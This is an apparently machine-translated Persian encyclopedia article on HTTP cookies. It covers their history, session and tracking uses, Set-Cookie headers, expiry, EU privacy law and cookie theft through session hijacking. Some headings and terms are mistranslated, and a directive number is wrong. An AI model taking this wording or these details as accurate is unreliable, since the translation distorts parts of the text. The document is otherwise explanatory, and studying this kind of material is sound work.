Un کوکی یا وب کوکی (یا کوکی، مخفف به عنوان شاهد در کبک) توسط پروتکل ارتباطی HTTP به عنوان دنباله ای از اطلاعات ارسال شده توسط یک سرور HTTP به یک کلاینت HTTP تعریف می شود که سرور HTTP هر بار که سرور HTTP یکسان تحت شرایط خاصی پرس و جو می شود، آن را برمی گرداند.
کوکی معادل a است فایل متنی کوچک ذخیره شده در ترمینال از کاربر اینترنت بیش از 20 سال است که آنها به توسعه دهندگان وب سایت اجازه می دهند تا داده های کاربران را ذخیره کنند تا ناوبری خود را تسهیل کنند و قابلیت های خاصی را مجاز کنند. کوکیها همیشه کم و بیش بحثبرانگیز بودهاند، زیرا حاوی اطلاعات شخصی باقیماندهای هستند که به طور بالقوه میتوانند توسط اشخاص ثالث مورد سوء استفاده قرار گیرند.
به عنوان یک هدر HTTP توسط وب سرور به مرورگر وب ارسال می شود که هر بار که به سرور دسترسی پیدا می کند آن را بدون تغییر برمی گرداند. می توان از یک کوکی استفاده کرد یک احراز هویت, یک جلسه (نگهداری دولتی)، و برای ذخیره اطلاعات خاص در مورد کاربرمانند تنظیمات برگزیده سایت یا محتویات یک سبد خرید الکترونیکی. اصطلاح کوکی از آن گرفته شده است کوکی جادویی، یک مفهوم شناخته شده در محاسبات یونیکس، که الهام بخش ایده و نام کوکی های مرورگر است. چند جایگزین برای کوکی ها وجود دارد که هر کدام کاربردها، مزایا و معایب خاص خود را دارند.
از آنجایی که فایل های متنی ساده هستند، کوکی ها قابل اجرا نیستند. آنها نیستند نه جاسوس افزار و نه ویروس، اگرچه کوکیهای برخی از سایتها توسط بسیاری از نرمافزارهای ضد ویروس شناسایی میشوند، زیرا به کاربران اجازه میدهند هنگام بازدید از چندین سایت، ردیابی شوند.
اکثر مرورگرهای مدرن به کاربران اجازه می دهند تصمیم بگیرید که کوکی ها را بپذیرید یا رد کنید. کاربران نیز می توانند مدت زمان ذخیره کوکی ها را انتخاب کنید. با این حال، رد کامل کوکی ها باعث می شود برخی از سایت ها غیر قابل استفاده باشند. به عنوان مثال، سبد خرید یا سایت هایی را که نیاز به ورود به سیستم با استفاده از اطلاعات کاربری (نام کاربری و رمز عبور) دارند، ذخیره کنید.
فهرست مطالب
تاریخی
مدت شیرینی از اصطلاح انگلیسی گرفته شده است کوکی جادویی، که بسته ای از داده است که یک برنامه دریافت می کند و بدون تغییر برمی گرداند. کوکیها قبلاً در فناوری اطلاعات استفاده میشدند لو مونتولی ایده استفاده از آنها در ارتباطات وب را داشت در ژوئن 1994 در آن زمان، او توسط Netscape Communications که یک اپلیکیشن تجارت الکترونیک برای یک مشتری توسعه داده بود، استخدام شد. کوکی ها راه حلی برای مشکل قابلیت اطمینان پیاده سازی سبد خرید مجازی فروشگاه ارائه کردند.
جان جیاناندریا و لو مونتولی اولین مشخصات کوکی نت اسکیپ را در همان سال نوشتند. نسخه 0.9 بتا Mosaic Netscape، منتشر شده در 13 اکتبر 1994، یکپارچه تکنولوژی کوکی (پست را ببینید). اولین استفاده (غیر آزمایشی) از کوکی ها برای تعیین اینکه آیا بازدیدکنندگان وب سایت Netscape قبلاً از سایت بازدید کرده اند یا خیر بود. مونتولی در سال 1995 یک درخواست ثبت اختراع برای فناوری کوکی ثبت کرد و پتنت ایالات متحده به شماره 5774670 اعطا شد. در سال 1998 اعطا شد.
پس از پیاده سازی در نت اسکیپ 0.9 بتا در سال 1994، کوکی ها در اینترنت اکسپلورر 2 که در اکتبر 1995 منتشر شد، ادغام شدند.
معرفی کوکی ها هنوز به طور گسترده ای برای عموم شناخته نشده است. به ویژه، کوکی ها به طور پیش فرض در تنظیمات مرورگر پذیرفته می شدند و کاربران از حضور آنها مطلع نمی شدند. برخی از افراد در سه ماهه اول سال 1995 از وجود کوکی ها مطلع بودند، اما عموم مردم تنها پس از انتشار مقاله ای توسط فایننشال تایمز در 12 فوریه 1996 به وجود آنها پی بردند. در همان سال، کوکی ها مورد توجه رسانه ها قرار گرفت. به دلیل نفوذ احتمالی به حریم خصوصی موضوع کوکی ها در دو جلسه مشاوره کمیسیون تجارت فدرال آمریکا در سال های 1996 و 1997 مورد بحث قرار گرفت.
توسعه مشخصات رسمی کوکی قبلاً در حال انجام بود. اولین بحث در مورد مشخصات رسمی در آوریل 1995 در لیست پستی www-talk انجام شد. کارگروه ویژه IETF تشکیل شد. دو پیشنهاد جایگزین برای معرفی وضعیت به تراکنشهای HTTP به ترتیب توسط برایان بهلندورف و دیوید کریستول پیشنهاد شد، اما این گروه به رهبری خود کریستول تصمیم گرفت از مشخصات نت اسکیپ به عنوان نقطه شروع استفاده کند. در فوریه 1996، گروه کاری تشخیص داد که کوکی های شخص ثالث یک تهدید مهم برای حریم خصوصی هستند. مشخصات تولید شده توسط گروه در نهایت به عنوان منتشر شد RFC 2109.
از اواخر سال 2014، در بسیاری از سایت ها بنری در مورد کوکی ها مشاهده می کنیم. حداقل یک افزونه مرورگر وجود دارد که اجازه می دهد بنر نمایش داده نمی شود.
انواع کوکی ها و موارد استفاده
مدیریت جلسه
از کوکیها میتوان برای حفظ دادههای کاربر در حین پیمایش و همچنین در بازدیدهای متعدد استفاده کرد. کوکیها برای ارائه ابزاری برای پیادهسازی سبد خرید الکترونیکی معرفی شدند، یک دستگاه مجازی که کاربر میتواند در آن اقلامی را که میخواهد بخرد در هنگام مرور سایت جمعآوری کند.
این روزها، برنامه هایی مانند سبد خرید به جای آن لیست اقلام را در یک پایگاه داده روی یک سرور ذخیره می کنند که ترجیح داده می شود. نه اینکه آنها را در خود کوکی ذخیره کنید. وب سرور یک کوکی حاوی شناسه جلسه منحصر به فرد ارسال می کند. سپس مرورگر وب این شناسه جلسه را در هر درخواست بعدی برمی گرداند و موارد موجود در سبد ذخیره می شوند و با همان شناسه جلسه منحصر به فرد مرتبط می شوند.
استفاده مکرر از کوکی ها برای ورود به سایت با استفاده از اطلاعات کاربری مفید است. به طور خلاصه، وب سرور ابتدا یک کوکی حاوی یک شناسه جلسه منحصر به فرد ارسال می کند. سپس کاربران اعتبار خود را ارائه می کنند (معمولاً یک نام کاربری و رمز عبور). سپس برنامه وب جلسه را احراز هویت می کند و به کاربر اجازه دسترسی به سرویس را می دهد.
شخصی
از کوکی ها می توان برای به خاطر سپردن اطلاعات مربوط به کاربر یک سایت استفاده کرد تا در آینده محتوای مناسب را به او نشان دهد. به عنوان مثال، یک وب سرور می تواند یک کوکی حاوی آخرین نام کاربری استفاده شده برای ورود به آن وب سایت ارسال کند تا در بازدیدهای بعدی نام کاربری از قبل پر شود.
بسیاری از وب سایت ها از کوکی ها برای شخصی سازی بر اساس ترجیحات کاربر استفاده می کنند. کاربران ترجیحات خود را در یک فرم انتخاب کرده و به سرور ارسال می کنند. سرور تنظیمات برگزیده را در یک کوکی رمزگذاری می کند و آن را به مرورگر می فرستد. متعاقباً، هر بار که کاربر به صفحه ای از این سایت دسترسی پیدا می کند، مرورگر کوکی و در نتیجه لیست اولویت ها را برمی گرداند. سپس سرور می تواند صفحه را با توجه به ترجیحات کاربر سفارشی کند. به عنوان مثال، وب سایت ویکی پدیا به کاربران خود اجازه می دهد تا پوسته سایت مورد نظر خود را انتخاب کنند. موتور جستجوی گوگل به کاربران خود (حتی اگر ثبت نام نکرده باشند) این امکان را می دهد که تعداد نتایجی را که می خواهند در هر صفحه نتایج ببینند انتخاب کنند.
پسته
کوکیهای ردیابی برای ردیابی عادات مرور کاربران اینترنت استفاده میشوند. این همچنین میتواند تا حدی با استفاده از آدرس IP رایانه برای درخواست یک صفحه یا با استفاده از هدر HTTP «ارجاعکننده» که مشتری با هر درخواست ارسال میکند انجام شود، اما کوکیها دقت بیشتری را امکانپذیر میکنند. این را می توان مانند مثال زیر انجام داد:
- اگر کاربر صفحه ای را در یک سایت فراخوانی کند و درخواست حاوی کوکی نباشد، سرور فرض می کند که این اولین صفحه ای است که کاربر از آن بازدید می کند. سپس سرور یک رشته تصادفی ایجاد می کند و آن را به همراه صفحه درخواستی به مرورگر می فرستد.
- از این لحظه، با هر بار فراخوانی صفحه جدیدی از سایت، کوکی به طور خودکار توسط مرورگر ارسال می شود. سرور طبق معمول صفحه را ارسال می کند، اما URL صفحه فراخوانی شده، تاریخ، زمان درخواست و کوکی را نیز در یک فایل گزارش ثبت می کند.
با مشاهده فایل log می توان دید کاربر از کدام صفحات و به چه ترتیبی بازدید کرده است. برای مثال، اگر فایل حاوی چند درخواست باشد که با استفاده از کوکی id=abc انجام شده است، ممکن است مشخص شود که همه این درخواستها از یک کاربر میآیند. URL درخواستی، تاریخ و زمان مرتبط با درخواستها امکان ردیابی مرور کاربر را فراهم میکند.
کوکیهای شخص ثالث و بیکنهای وب، که در زیر توضیح داده شدهاند، بهعلاوه ردیابی را در سایتهای مختلف فعال میکنند. ردیابی سایت تک به طور کلی برای اهداف آماری استفاده می شود. در مقابل، ردیابی در سایتهای مختلف با استفاده از کوکیهای شخص ثالث معمولاً توسط شرکتهای تبلیغاتی برای تولید پروفایلهای کاربر ناشناس (که سپس برای تعیین اینکه کدام تبلیغات باید به کاربر نشان داده شود و همچنین برای ارسال ایمیلهای مربوط به این تبلیغات به او استفاده میشود - هرزنامه استفاده میشود. ).
کوکیهای ردیابی خطر تجاوز به حریم خصوصی کاربر هستند، اما میتوان آنها را به راحتی حذف کرد. اکثر مرورگرهای مدرن دارای گزینه ای برای حذف خودکار کوکی های دائمی هنگام بستن برنامه هستند.
کوکی های شخص ثالث
تصاویر و سایر اشیاء موجود در یک صفحه وب ممکن است در سرورهایی متفاوت از سرورهای میزبان صفحه قرار گیرند. برای نمایش صفحه، مرورگر همه این اشیاء را دانلود می کند. اکثر وب سایت ها حاوی اطلاعاتی از منابع مختلف هستند. به عنوان مثال، اگر www.example.com را در مرورگر خود تایپ کنید، اغلب اشیاء یا تبلیغاتی در بخشی از صفحه وجود دارد که از منابع مختلف، یعنی از دامنه متفاوتی نسبت به www.example.com آمده است. کوکیهای طرف اول کوکیهایی هستند که توسط دامنه فهرستشده در نوار آدرس مرورگر تنظیم میشوند. کوکی های شخص ثالث توسط یکی از اشیاء صفحه که از دامنه دیگری می آید تنظیم می شوند.
به طور پیش فرض، مرورگرهایی مانند موزیلا فایرفاکس، مایکروسافت اینترنت اکسپلورر و اپرا کوکی های شخص ثالث را می پذیرند، اما کاربران می توانند تنظیمات را در گزینه های مرورگر تغییر دهند تا آنها را مسدود کنند. هیچ خطر امنیتی ذاتی در کوکی های شخص ثالث که عملکرد وب را فعال می کنند وجود ندارد، با این حال از آنها برای ردیابی کاربران نیز استفاده می شود. از سایتی به سایت دیگر.
ابزارهایی مانند Ghostery که برای همه مرورگرها از جمله Google Chrome موجود است، میتوانند تبادلات بین اشخاص ثالث را مسدود کنند.
پیاده سازی
کوکی ها قطعات کوچک داده ای هستند که توسط وب سرور به مرورگر ارسال می شوند. مرورگر آنها را بدون تغییر به سرور برمیگرداند و حالت (حافظه رویدادهای گذشته) را به تراکنش HTTP بدون حالت اضافه میکند. بدون کوکی، هر بازیابی یک صفحه وب یا یک جزء از یک صفحه وب، یک رویداد مجزا است، مستقل از سایر درخواستهای ارائه شده به همان سایت. کوکیها علاوه بر اینکه میتوانند توسط وب سرور تنظیم شوند، میتوانند با زبانهای اسکریپتنویسی مانند جاوا اسکریپت نیز در صورت پشتیبانی و مجوز توسط مرورگر تنظیم شوند.
مشخصات رسمی کوکی نشان می دهد که مرورگرها باید بتوانند حداقل تعداد کوکی ها را ذخیره و مجددا ارسال کنند. به طور خاص، یک مرورگر باید بتواند حداقل 300 کوکی چهار کیلوبایتی و حداقل 20 کوکی برای یک سرور یا دامنه را ذخیره کند.
طبق بخش 3.1 از RFC 2965، نام کوکی ها به حروف بزرگ و کوچک حساس نیستند.
یک کوکی می تواند تاریخ انقضای خود را مشخص کند، در این صورت کوکی در این تاریخ حذف می شود. اگر کوکی تاریخ انقضا را مشخص نکرده باشد، به محض اینکه کاربر از مرورگر خود خارج شود، کوکی حذف می شود. بنابراین، تعیین تاریخ انقضا راهی برای زنده ماندن کوکی از طریق جلسات متعدد است. به همین دلیل، کوکی هایی با تاریخ انقضا گفته می شود مداوم. یک مثال کاربردی: یک سایت خرده فروشی ممکن است از کوکی های دائمی برای ثبت مواردی که کاربران در سبد خرید خود قرار داده اند استفاده کند (در واقع، کوکی ممکن است به ورودی ذخیره شده در پایگاه داده در سایت فروش اشاره کند و نه در رایانه شما) . از این طریق، اگر کاربران بدون خرید مرورگر خود را ترک کنند و بعداً به آن بازگردند، میتوانند دوباره موارد موجود در سبد خرید را پیدا کنند. اگر این کوکی ها تاریخ انقضا نمی دادند، با بسته شدن مرورگر منقضی می شوند و اطلاعات محتویات سبد از بین می رود.
کوکیها را میتوان به دامنه، زیر دامنه یا مسیر خاصی در سروری که آنها را ایجاد کرده محدود کرد.
ایجاد یک کوکی
انتقال صفحات وب با استفاده از پروتکل انتقال ابرمتن (HTTP) انجام می شود. با نادیده گرفتن کوکی ها، مرورگرها یک صفحه را از سرورهای وب با ارسال یک متن کوتاه به آنها فراخوانی می کنند درخواست HTTP. به عنوان مثال، برای دسترسی به صفحه www.example.org/index.html، مرورگرها به سرور www.example.org متصل می شوند و درخواستی به شکل زیر ارسال می کنند:
GET /index.html HTTP/1.1Host: www.example.org | ||
هدایتگر | → | سرور |
سرور با ارسال صفحه درخواستی، قبل از یک متن مشابه، پاسخ می دهد، کل موجود فراخوانی می شود پاسخ HTTP. این بسته ممکن است حاوی خطوطی باشد که به مرورگر دستور ذخیره کوکی ها را می دهد:
HTTP/1.1 200 OK Content-نوع: text/htmlSet-Cookie: name=value (صفحه HTML) | ||
هدایتگر | ← | سرور |
سرور فقط خط Set-Cookie را ارسال می کند، در صورتی که سرور بخواهد مرورگر یک کوکی ذخیره کند. Set-Cookie درخواستی برای مرورگر برای ذخیره رشته name=value و برگرداندن آن در تمام درخواستهای آینده به سرور است. اگر مرورگر از کوکیها پشتیبانی میکند و کوکیها در گزینههای مرورگر فعال هستند، کوکی در تمام درخواستهای بعدی که به همان سرور ارسال میشود شامل میشود. به عنوان مثال، مرورگر با ارسال درخواست زیر به سرور www.example.org، صفحه www.example.org/news.html را فراخوانی می کند:
دریافت /news.html HTTP/1.1 میزبان: www.example.org کوکی: name=valueAccept: */* | ||
هدایتگر | → | سرور |
این درخواست برای صفحه دیگری از همان سرور است و با صفحه اول بالا متفاوت است زیرا حاوی رشته ای است که سرور قبلاً به مرورگر ارسال کرده است. به لطف این وسیله، سرور می داند که این درخواست به درخواست قبلی مرتبط است. سرور با ارسال صفحه فراخوانی شده و همچنین با افزودن سایر کوکی ها به آن پاسخ می دهد.
مقدار کوکی توسط سرور با ارسال یک خط جدید Set-Cookie: name=new_value در پاسخ به صفحه فراخوانی شده قابل تغییر است. سپس مرورگر مقدار قبلی را با مقدار جدید جایگزین می کند.
خط Set-Cookie معمولا توسط یک برنامه CGI یا زبان برنامه نویسی دیگر ایجاد می شود، نه توسط سرور HTTP. سرور HTTP (مثال: Apache) فقط نتیجه برنامه (سندی که قبل از هدر حاوی کوکی ها قرار دارد) را به مرورگر منتقل می کند.
کوکیها همچنین میتوانند توسط جاوا اسکریپت یا سایر زبانهای مشابه که در مرورگر اجرا میشوند، یعنی در سمت مشتری به جای سمت سرور تنظیم شوند. در جاوا اسکریپت از شی document.cookie برای این منظور استفاده می شود. برای مثال عبارت document.cookie = "temperature=20" یک کوکی به نام "temperature" و با مقدار 20 ایجاد می کند.
ویژگی های یک کوکی
علاوه بر جفت نام/مقدار، یک کوکی همچنین میتواند حاوی تاریخ انقضا، مسیر، نام دامنه و نوع اتصال مورد نظر، یعنی عادی یا رمزگذاریشده باشد. RFC 2965 همچنین تعریف میکند که کوکیها باید یک شماره نسخه اجباری داشته باشند، اما این به طور کلی حذف میشود. این بخش های داده از جفت name=new_value پیروی می کنند و با نقطه ویرگول از هم جدا می شوند. به عنوان مثال، یک کوکی می تواند توسط سرور با ارسال یک خط Set-Cookie ایجاد شود: name=new_value; انقضا=تاریخ; مسیر=/; domain=.example.org.
منقضی شدن یک کوکی
کوکی ها منقضی می شوند و در شرایط زیر توسط مرورگر به سرور ارسال نمی شوند:
- وقتی مرورگر بسته است، اگر کوکی پایدار نباشد.
- وقتی تاریخ انقضای کوکی تمام شد.
- زمانی که تاریخ انقضای کوکی (توسط سرور یا اسکریپت) به تاریخی در گذشته تغییر می کند.
- هنگامی که مرورگر به درخواست کاربر کوکی را حذف می کند.
حالت سوم به سرورها یا اسکریپت ها اجازه می دهد تا به صراحت یک کوکی را حذف کنند. توجه داشته باشید که با مرورگر وب گوگل کروم می توانید از تاریخ انقضای یک کوکی خاص با دسترسی به تنظیمات محتوا مطلع شوید. یک کوکی ذخیره شده در رایانه ممکن است برای چندین دهه در آنجا باقی بماند اگر هیچ روشی برای پاک کردن آن انجام نشود.
ایده های دریافت شده
از زمان معرفی آنها در اینترنت، ایده های زیادی در مورد کوکی ها در اینترنت و رسانه ها پخش شده است. در سال 1998، CIAC، یک تیم نظارت بر حوادث رایانهای وزارت انرژی ایالات متحده، تشخیص داد که آسیبپذیریهای امنیتی کوکی «اساساً وجود ندارد» و توضیح داد که «اطلاعات مربوط به مبدأ بازدیدهای شما و جزئیات صفحات وبی که بازدید کردهاید. در حال حاضر در فایل های گزارش سرورهای وب وجود دارد. در سال 2005، Jupiter Research نتایج یک مطالعه را منتشر کرد که در آن درصد قابل توجهی از پاسخ دهندگان جملات زیر را در نظر گرفتند:
- کوکی ها مانند ویروس، هارد دیسک های کاربران را آلوده می کنند.
- کوکی ها تولید می کنند پاپ آپ.
- از کوکی ها برای ارسال استفاده می شود اسپم.
- از کوکی ها فقط برای تبلیغات استفاده می شود.
کوکی ها نمی توانند اطلاعات را از رایانه کاربر پاک یا بخوانند. با این حال، کوکیها تشخیص صفحات وب بازدید شده توسط کاربر در یک سایت یا مجموعهای از سایتها را ممکن میسازند. این اطلاعات را می توان در یک نمایه کاربری جمع آوری کرد که می تواند مورد استفاده قرار گیرد یا دوباره به اشخاص ثالث فروخته شود، که می تواند باعث ایجاد مشکلات جدی در حفظ حریم خصوصی شود. برخی از پروفایلها ناشناس هستند، به این معنا که حاوی اطلاعات شخصی نیستند، اما حتی چنین نمایههایی نیز میتوانند مشکوک باشند.
بر اساس همین مطالعه، درصد زیادی از کاربران اینترنت نمی دانند چگونه کوکی ها را حذف کنند. یکی از دلایل عدم اعتماد مردم به کوکی ها این است که برخی از سایت ها از جنبه شناسایی شخصی کوکی ها سوء استفاده کرده اند و این اطلاعات را با منابع دیگر به اشتراک گذاشته اند. درصد زیادی از تبلیغات هدفمند و ایمیل های ناخواسته که هرزنامه تلقی می شوند، از اطلاعات به دست آمده از ردیابی کوکی ها به دست می آیند.
تنظیمات مرورگر
اکثر مرورگرها از کوکی ها پشتیبانی می کنند و به کاربر اجازه می دهند آنها را غیرفعال کند. رایج ترین گزینه ها عبارتند از:
- کوکی ها را به طور کامل فعال یا غیرفعال کنید تا دائما پذیرفته یا مسدود شوند.
- با وارد کردن جاوا اسکریپت: alert(document.cookie) در نوار آدرس مرورگر، به کاربر اجازه دهید کوکیهای فعال را در یک صفحه مشخص ببیند. برخی از مرورگرها از یک مدیر کوکی برای کاربر استفاده میکنند که میتواند کوکیهای ذخیرهشده در حال حاضر توسط مرورگر را مشاهده و حذف کند.
اکثر مرورگرها همچنین اجازه حذف کامل داده های شخصی که شامل کوکی ها می شود را نیز می دهند. ماژول های اضافی برای کنترل مجوزهای کوکی نیز وجود دارد.
حریم خصوصی و کوکی های شخص ثالث
در این مثال ساختگی، یک شرکت تبلیغاتی بنرهایی را در دو وب سایت قرار داده است. این شرکت تبلیغاتی با میزبانی بنرها بر روی سرورهای خود و استفاده از کوکی های شخص ثالث، قادر به ردیابی مسیریابی کاربر از طریق این دو سایت است.
کوکی ها پیامدهای مهمی برای حفظ حریم خصوصی و ناشناس بودن کاربران وب دارند. اگرچه کوکیها فقط به سروری که آنها را تنظیم کرده است یا به سروری که متعلق به همان دامنه اینترنتی است بازگردانده میشود، اما ممکن است یک صفحه وب حاوی تصاویر یا سایر اجزای ذخیره شده در سرورهای متعلق به دامنههای دیگر باشد. کوکی هایی که در حین بازیابی این اجزای خارجی تنظیم می شوند نامیده می شوند کوکی های شخص ثالث. این شامل کوکیهایی از پنجرههای پاپآپ ناخواسته است.
شرکت های تبلیغاتی از کوکی های شخص ثالث برای ردیابی کاربران در سایت های مختلف استفاده می کنند. به طور خاص، یک شرکت تبلیغاتی می تواند کاربر را در تمام صفحاتی که در آن تصاویر تبلیغاتی یا پیکسل ردیابی قرار داده است، ردیابی کند. آگاهی از صفحات بازدید شده توسط کاربر به شرکت تبلیغاتی اجازه می دهد تا اولویت های تبلیغاتی کاربر را هدف قرار دهد.
توانایی ایجاد نمایه کاربر توسط برخی به عنوان تجاوز به حریم خصوصی در نظر گرفته می شود، به خصوص زمانی که ردیابی در دامنه های مختلف با استفاده از کوکی های شخص ثالث انجام می شود. به همین دلیل، برخی از کشورها قانون کوکی دارند.
دولت ایالات متحده در سال 2000 قوانین سختگیرانه ای را در مورد قرار دادن کوکی ها به اجرا درآورد، پس از اینکه فاش شد که دفتر سیاست مواد مخدر کاخ سفید از کوکی ها برای ردیابی رایانه های کاربرانی که تبلیغات آنلاین مواد مخدر را مشاهده می کنند، استفاده می کند. در سال 2002، دنیل برانت، فعال حریم خصوصی، متوجه شد که سیا کوکیهای دائمی را روی رایانههایی که از وبسایتهایش بازدید کردهاند، باقی میگذارد. به محض اطلاع از این نقض، سیا اعلام کرد که این کوکی ها عمدا ارسال نشده اند و تنظیم آنها را متوقف کرد. در 25 دسامبر 2005، برانت کشف کرد که آژانس امنیت ملی (NSA) به دلیل به روز رسانی نرم افزار، دو کوکی دائمی را روی رایانه های بازدیدکنندگان گذاشته است. پس از اطلاع، NSA بلافاصله کوکی ها را غیرفعال کرد.
در انگلستان، قانون کوکی "، که در 25 می 2012 لازم الاجرا شد، سایت ها را موظف می کند تا مقاصد خود را اعلام کنند، بنابراین کاربران می توانند انتخاب کنند که آیا می خواهند ردی از عبور خود در اینترنت به جا بگذارند یا نه. بنابراین می توان از آنها در برابر هدف گذاری تبلیغاتی محافظت کرد. با این حال، مطابق با گاردین، رضایت کاربران اینترنت لزوماً صریح نیست. تغییراتی در شرایط رضایت کاربر ایجاد شده است بنابراین ضمنی.
دستورالعمل 2002/58 در مورد حریم خصوصی
دستورالعمل 202/58 حریم خصوصی و ارتباطات الکترونیکی، حاوی قوانینی در مورد استفاده از کوکی ها است. به طور خاص، بند 5 ماده 3 این دستورالعمل ایجاب می کند که ذخیره داده ها (مانند کوکی ها) در رایانه کاربر تنها در موارد زیر قابل انجام باشد:
- کاربر از نحوه استفاده از داده ها مطلع می شود.
- به کاربر این امکان داده می شود که از این عملیات ذخیره سازی امتناع کند. اما در این ماده همچنین آمده است که ذخیره داده ها به دلایل فنی از شمول این قانون مستثنی است.
با توجه به اینکه این دستورالعمل از اکتبر 2003 اجرا می شد، با این حال، طبق گزارش دسامبر 2004، دستورالعمل بسیار ناقص عملی شد، که همچنین اشاره می کرد که برخی از کشورهای عضو (اسلواکی، لتونی، یونان، بلژیک و لوکزامبورگ) هنوز قوانین را به کشور منتقل نکرده اند. بخشنامه وارد قوانین داخلی شود.
بر اساس نظر G29 در سال 2010، این دستورالعمل، که به طور مشخص استفاده از کوکی ها را برای اهداف تبلیغاتی رفتاری شرط می کند، با رضایت صریح کاربر اینترنت همچنان بسیار ضعیف اعمال می شود. در واقع، اکثر سایتها این کار را به گونهای انجام میدهند که با دستورالعملها مطابقت ندارند، با محدود کردن خود به یک «بنر» ساده که از استفاده از «کوکیها» اطلاع میدهد، بدون اینکه اطلاعاتی در مورد کاربردها ارائه کنند، بدون اینکه بین کوکیهای «فنی» تفاوت قائل شوند. کوکیهای "ردیابی"، و نه ارائه یک انتخاب واقعی به کاربری که مایل به حفظ کوکیهای فنی (مانند کوکیهای مدیریت سبد خرید) و امتناع از کوکیهای "ردیابی" است. در واقع، بسیاری از سایت ها در صورت امتناع از کوکی ها به درستی کار نمی کنند، که با دستورالعمل 2002/58 یا دستورالعمل 95/46 (حفاظت از داده های شخصی) مطابقت ندارد.
دستورالعمل 2009 / 136 / CE
این مطالب توسط دستورالعمل 2009/136/EC مورخ 25 نوامبر 2009 به روز شده است که بیان می کند "ذخیره اطلاعات، یا دستیابی به اطلاعاتی که قبلاً ذخیره شده است، در تجهیزات پایانه مشترک یا کاربر فقط به شرطی مجاز است که مشترک یا کاربر پس از دریافت اطلاعات واضح و کامل بین دیگران در مورد اهداف پردازش، مطابق با دستورالعمل 95/46/EC، رضایت خود را اعلام کرده است. بنابراین دستورالعمل جدید تعهدات قبل از قرار دادن کوکی ها در رایانه کاربر اینترنت را تقویت می کند.
در ملاحظات اولیه این دستورالعمل، قانونگذار اروپایی تصریح می کند: «در صورت امکان فنی و مؤثر، مطابق با مفاد مربوطه دستورالعمل 95/46/EC، رضایت کاربر در مورد پردازش ممکن است از طریق استفاده از تنظیمات مناسب مرورگر یا برنامه های کاربردی دیگر. اما در واقع، هیچ مرورگری تا به امروز امکان جدا کردن کوکیهای فنی ضروری را از کوکیهای اختیاری که باید به انتخاب کاربر واگذار شود، ممکن نمیسازد.
این دستورالعمل جدید توسط نمایندگان پارلمان بلژیک در ژوئیه 2012 جابهجا شد. یک مطالعه در سال 2014 نشان میدهد که حتی نمایندگان مجلس نیز برای اعمال مشکل دارند. محدودیت های بخشنامه.
P3P
مشخصات P3P شامل توانایی سرور برای بیان سیاست حفظ حریم خصوصی است که مشخص می کند چه نوع اطلاعاتی را جمع آوری می کند و برای چه هدفی. این خطمشیها شامل (اما نه محدود به) استفاده از اطلاعات جمعآوریشده با استفاده از کوکیها است. طبق تعاریف P3P، یک مرورگر میتواند با مقایسه سیاستهای حفظ حریم خصوصی با ترجیحات کاربر یا با درخواست از کاربر، ارائه بیانیه حفظ حریم خصوصی اعلام شده توسط سرور، کوکیها را بپذیرد یا رد کند.
بسیاری از مرورگرها، از جمله Apple Safari و Microsoft Internet Explorer نسخههای 6 و 7، از P3P پشتیبانی میکنند که به مرورگر اجازه میدهد تعیین کند که آیا ذخیرهسازی کوکی شخص ثالث را میپذیرد یا خیر. مرورگر اپرا به کاربران اجازه می دهد از کوکی های شخص ثالث خودداری کنند و یک نمایه امنیتی جهانی و خاص برای دامنه های اینترنتی ایجاد کنند. موزیلا فایرفاکس نسخه 2 پشتیبانی P3P را قطع کرد اما آن را در نسخه 3 بازگرداند.
کوکی های شخص ثالث می توانند توسط اکثر مرورگرها برای افزایش حریم خصوصی و کاهش ردیابی تبلیغات مسدود شوند، بدون اینکه بر تجربه وب کاربر تأثیر منفی بگذارند. بسیاری از آژانس های تبلیغاتی گزینه ای را ارائه می دهند رد کن به تبلیغات هدفمند، با تنظیم یک کوکی عمومی در مرورگر که این هدف گیری را غیرفعال می کند، اما چنین راه حلی در صورت رعایت آن عملاً مؤثر نیست، زیرا این کوکی عمومی به محض حذف این کوکی ها که کاربر این کوکی ها را لغو می کند، پاک می شود. تصمیم گیری
معایب کوکی ها
علاوه بر مسائل مربوط به حریم خصوصی، کوکی ها دارای اشکالات فنی نیز هستند. به طور خاص، آنها همیشه کاربران را به طور دقیق شناسایی نمی کنند، آنها می توانند عملکرد سایت را در صورت تعداد زیاد کاهش دهند، می توانند برای حملات امنیتی استفاده شوند، و با انتقال حالت نماینده، سبک معماری نرم افزار در تضاد هستند.
شناسایی غیر دقیق
اگر بیش از یک مرورگر در رایانه استفاده می شود، در هر یک از آنها همیشه یک واحد ذخیره سازی جداگانه برای کوکی ها وجود دارد. بنابراین کوکی ها یک شخص را شناسایی نمی کنند، بلکه ترکیبی از یک حساب کاربری، یک رایانه و یک مرورگر وب هستند. بنابراین، هرکسی میتواند از این حسابها، رایانهها یا مرورگرهایی که دارای کوکی هستند استفاده کند. به طور مشابه، کوکیها بین چندین کاربر که از یک حساب کاربری، رایانه و مرورگر مشترک استفاده میکنند، مانند «کافههای اینترنتی» یا هر مکانی که به منابع رایانه دسترسی رایگان دارد، تفاوتی قائل نمیشوند.
اما در عمل این بیانیه در اکثر موارد نادرست است زیرا امروزه یک رایانه شخصی (یا گوشی هوشمند یا تبلت که بدتر است) عمدتاً توسط یک فرد استفاده می شود. از طریق حجم اطلاعات جمعآوریشده، به هدفیابی شخصیشده میرسند، حتی اگر شخص «بهعنوان» شناسایی نشده باشد.
سرقت کوکی ها
یک کوکی را می توان توسط رایانه دیگری در شبکه به سرقت برد.
در طول عملیات عادی، کوکیها بین سرور (یا گروهی از سرورها در همان دامنه) و مرورگر رایانه کاربر ارسال میشوند. از آنجایی که کوکیها میتوانند حاوی اطلاعات حساسی باشند (نام کاربری، رمز عبوری که برای احراز هویت استفاده میشود، و غیره)، مقادیر آنها نباید برای رایانههای دیگر قابل دسترسی باشد. دزدی کوکی عمل رهگیری کوکی ها توسط شخص ثالث غیرمجاز است.
کوکیها را میتوان از طریق یک sniffer بسته در حملهای به نام Session Hijacking به سرقت برد. ترافیک در شبکه را می توان توسط رایانه هایی غیر از رایانه های ارسال کننده و دریافت کننده (به ویژه در فضای Wi-Fi عمومی رمزگذاری نشده) رهگیری و خواند. این ترافیک شامل کوکی هایی است که طی جلسات با استفاده از پروتکل HTTP ساده ارسال می شوند. هنگامی که ترافیک شبکه رمزگذاری نشده است، کاربران مخرب می توانند ارتباطات سایر کاربران در شبکه را با استفاده از "sniffers بسته" بخوانند.
